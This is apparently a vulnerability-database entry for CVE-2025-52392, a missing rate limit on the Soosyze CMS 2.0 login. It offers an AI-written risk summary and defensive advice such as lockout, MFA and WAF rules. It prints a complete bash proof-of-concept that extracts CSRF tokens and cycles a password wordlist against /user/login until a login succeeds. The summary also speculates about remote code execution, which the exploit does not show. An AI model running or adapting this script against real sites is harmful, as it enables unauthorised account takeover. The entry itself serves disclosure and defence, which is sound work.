Soosyze CMS 2.0 - Brute Force Login
Soosyze CMS 2.0 - Brute Force Login
AI Analysis
Technical Summary
The reported security threat concerns Soosyze CMS version 2.0, specifically a brute force login exploit. Soosyze CMS is a content management system used for building and managing websites. The vulnerability allows an attacker to perform brute force attacks against the login interface, attempting numerous username and password combinations to gain unauthorized access. Although the affected versions are not explicitly listed, the exploit targets version 2.0. The tags associated with this threat include 'web', 'rce' (remote code execution), and 'exploit', suggesting that successful authentication via brute force could potentially lead to remote code execution on the server hosting the CMS. This elevates the risk significantly, as an attacker gaining administrative access could execute arbitrary commands, manipulate website content, steal sensitive data, or pivot to other internal systems. The exploit code is available, although the language is noted as 'text', which likely means the exploit is a script or a set of instructions rather than a compiled binary or a specific programming language script. No patches or fixes are currently linked, and there are no known exploits in the wild at the time of reporting. The absence of a CVSS score requires an independent severity assessment. Given the critical tag and the possibility of remote code execution following brute force login, this vulnerability poses a high risk to affected systems.
Potential Impact
For European organizations using Soosyze CMS 2.0, this vulnerability could have severe consequences. Unauthorized access through brute force attacks could lead to full compromise of the CMS, allowing attackers to alter website content, inject malicious code, or steal sensitive customer and organizational data. If remote code execution is achievable post-authentication, attackers could deploy malware, establish persistent backdoors, or use the compromised server as a launchpad for further attacks within the network. This could result in data breaches, reputational damage, regulatory penalties under GDPR, and operational disruptions. Organizations in sectors such as government, finance, healthcare, and e-commerce, which often rely on CMS platforms for public-facing websites, are particularly at risk. The lack of known exploits in the wild currently provides a window for mitigation, but the availability of exploit code increases the likelihood of future attacks.
Mitigation Recommendations
European organizations should take immediate and specific actions to mitigate this threat. First, implement strong account lockout policies to limit the number of failed login attempts, thereby reducing the effectiveness of brute force attacks. Deploy multi-factor authentication (MFA) on all CMS administrative accounts to add an additional layer of security beyond passwords. Monitor login attempts and set up alerts for suspicious activities such as repeated failed logins or logins from unusual IP addresses. If possible, restrict access to the CMS login interface by IP whitelisting or VPN access to trusted networks only. Regularly update and patch the CMS software; although no patch is currently linked, organizations should monitor Soosyze CMS vendor communications for updates addressing this vulnerability. Additionally, conduct regular security audits and penetration tests focusing on authentication mechanisms. Employ web application firewalls (WAFs) configured to detect and block brute force patterns. Finally, ensure that backups of website data and configurations are maintained securely to enable recovery in case of compromise.
Affected Countries
France, Germany, United Kingdom, Netherlands, Italy, Spain, Belgium
Indicators of Compromise
- exploit-code: # Exploit Title: Soosyze CMS 2.0 - Brute Force Login # Google Dork: N/A # Date: 2025-08-13 # Exploit Author: Beatriz Fresno Naumova (beafn28) # Vendor Homepage: https://soosyze.com/ # Software Link: https://github.com/soosyze/soosyze # Version: 2.0 (tested) # Tested on: macOS Sonoma 14.x (Apple Silicon M1), /bin/bash 3.2 & Homebrew bash 5.2, curl 8.x, BSD sed # CVE : CVE-2025-52392 # Description: # Soosyze CMS 2.0 allows brute-force login attacks via /user/login due to missing rate limiting # and account lockout mechanisms. An attacker can submit unlimited POST requests with a known # username/email and a password wordlist, potentially gaining unauthorized access (CWE-307). # PoC Usage: # ./script.sh [wordlist.txt] # If no wordlist is provided, a dictionary is used. #!/usr/bin/env bash set -euo pipefail BASE_URL="http://localhost:8000" LOGIN_PATH="/user/login" EMAIL_FIELD="email" PASS_FIELD="password" TARGET_EMAIL="test@test.com" WORDLIST_FILE="${1:-}" DEFAULT_WORDS=("123456" "admin" "password" "qwerty" "letmein" "admin123" "password1") form_url="$BASE_URL$LOGIN_PATH" COOKIE_JAR="$(mktemp)" get_form() { curl -sS -c "$COOKIE_JAR" -b "$COOKIE_JAR" "$form_url" > /tmp/login_page.html } extract_token() { local name value name=$(sed -nE 's/.*name="([_a-zA-Z0-9:-]*(token|csrf)[_a-zA-Z0-9:-]*)".*type="hidden".*/\1/p' /tmp/login_page.html | head -n1 || true) value="" if [[ -n "$name" ]]; then value=$(sed -nE "s/.*name=\"$name\".*value=\"([^\"]*)\".*/\1/p" /tmp/login_page.html | head -n1 || true) fi printf '%s\t%s\n' "$name" "$value" } post_login() { local pass="$1" tname="$2" tval="$3" curl -sS -o /tmp/resp.html -w "%{http_code}" \ -c "$COOKIE_JAR" -b "$COOKIE_JAR" \ -X POST "$form_url" \ -H "Content-Type: application/x-www-form-urlencoded" \ -H "Origin: $BASE_URL" -H "Referer: $form_url" \ --data-urlencode "$EMAIL_FIELD=$TARGET_EMAIL" \ --data-urlencode "$PASS_FIELD=$pass" \ $( [[ -n "$tname" && -n "$tval" ]] && printf -- '--data-urlencode %s=%s' "$tname" "$tval" ) } echo "[*] Starting brute-force attack on $form_url" [[ -n "$WORDLIST_FILE" && -r "$WORDLIST_FILE" ]] && mapfile -t words < "$WORDLIST_FILE" || words=("${DEFAULT_WORDS[@]}") i=0 for pw in "${words[@]}"; do i=$((i+1)) get_form IFS=$'\t' read -r TOKEN_NAME TOKEN_VALUE < <(extract_token) code=$(post_login "$pw" "$TOKEN_NAME" "$TOKEN_VALUE") if grep -q '"redirect"' /tmp/resp.html; then echo -e "[$i] Password found: '\e[1m$pw\e[0m' (HTTP $code)" break else echo "[$i] '$pw' (HTTP $code)" fi sleep 0.$((RANDOM%9+1)) done rm -f "$COOKIE_JAR" /tmp/resp.html
Soosyze CMS 2.0 - Brute Force Login
Description
Soosyze CMS 2.0 - Brute Force Login
AI-Powered Analysis
Technical Analysis
The reported security threat concerns Soosyze CMS version 2.0, specifically a brute force login exploit. Soosyze CMS is a content management system used for building and managing websites. The vulnerability allows an attacker to perform brute force attacks against the login interface, attempting numerous username and password combinations to gain unauthorized access. Although the affected versions are not explicitly listed, the exploit targets version 2.0. The tags associated with this threat include 'web', 'rce' (remote code execution), and 'exploit', suggesting that successful authentication via brute force could potentially lead to remote code execution on the server hosting the CMS. This elevates the risk significantly, as an attacker gaining administrative access could execute arbitrary commands, manipulate website content, steal sensitive data, or pivot to other internal systems. The exploit code is available, although the language is noted as 'text', which likely means the exploit is a script or a set of instructions rather than a compiled binary or a specific programming language script. No patches or fixes are currently linked, and there are no known exploits in the wild at the time of reporting. The absence of a CVSS score requires an independent severity assessment. Given the critical tag and the possibility of remote code execution following brute force login, this vulnerability poses a high risk to affected systems.
Potential Impact
For European organizations using Soosyze CMS 2.0, this vulnerability could have severe consequences. Unauthorized access through brute force attacks could lead to full compromise of the CMS, allowing attackers to alter website content, inject malicious code, or steal sensitive customer and organizational data. If remote code execution is achievable post-authentication, attackers could deploy malware, establish persistent backdoors, or use the compromised server as a launchpad for further attacks within the network. This could result in data breaches, reputational damage, regulatory penalties under GDPR, and operational disruptions. Organizations in sectors such as government, finance, healthcare, and e-commerce, which often rely on CMS platforms for public-facing websites, are particularly at risk. The lack of known exploits in the wild currently provides a window for mitigation, but the availability of exploit code increases the likelihood of future attacks.
Mitigation Recommendations
European organizations should take immediate and specific actions to mitigate this threat. First, implement strong account lockout policies to limit the number of failed login attempts, thereby reducing the effectiveness of brute force attacks. Deploy multi-factor authentication (MFA) on all CMS administrative accounts to add an additional layer of security beyond passwords. Monitor login attempts and set up alerts for suspicious activities such as repeated failed logins or logins from unusual IP addresses. If possible, restrict access to the CMS login interface by IP whitelisting or VPN access to trusted networks only. Regularly update and patch the CMS software; although no patch is currently linked, organizations should monitor Soosyze CMS vendor communications for updates addressing this vulnerability. Additionally, conduct regular security audits and penetration tests focusing on authentication mechanisms. Employ web application firewalls (WAFs) configured to detect and block brute force patterns. Finally, ensure that backups of website data and configurations are maintained securely to enable recovery in case of compromise.
Affected Countries
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Technical Details
- Edb Id
- 52416
- Has Exploit Code
- true
- Code Language
- text
Indicators of Compromise
Exploit Source Code
Exploit code for Soosyze CMS 2.0 - Brute Force Login
# Exploit Title: Soosyze CMS 2.0 - Brute Force Login # Google Dork: N/A # Date: 2025-08-13 # Exploit Author: Beatriz Fresno Naumova (beafn28) # Vendor Homepage: https://soosyze.com/ # Software Link: https://github.com/soosyze/soosyze # Version: 2.0 (tested) # Tested on: macOS Sonoma 14.x (Apple Silicon M1), /bin/bash 3.2 & Homebrew bash 5.2, curl 8.x, BSD sed # CVE : CVE-2025-52392 # Description: # Soosyze CMS 2.0 allows brute-force login attacks via /user/login due to missing rate limiting # a
... (2219 more characters)
Threat ID: 68a3d92dad5a09ad00eed706
Added to database: 8/19/2025, 1:53:49 AM
Last enriched: 8/27/2025, 1:27:21 AM
Last updated: 9/3/2025, 1:20:17 AM
Views: 26
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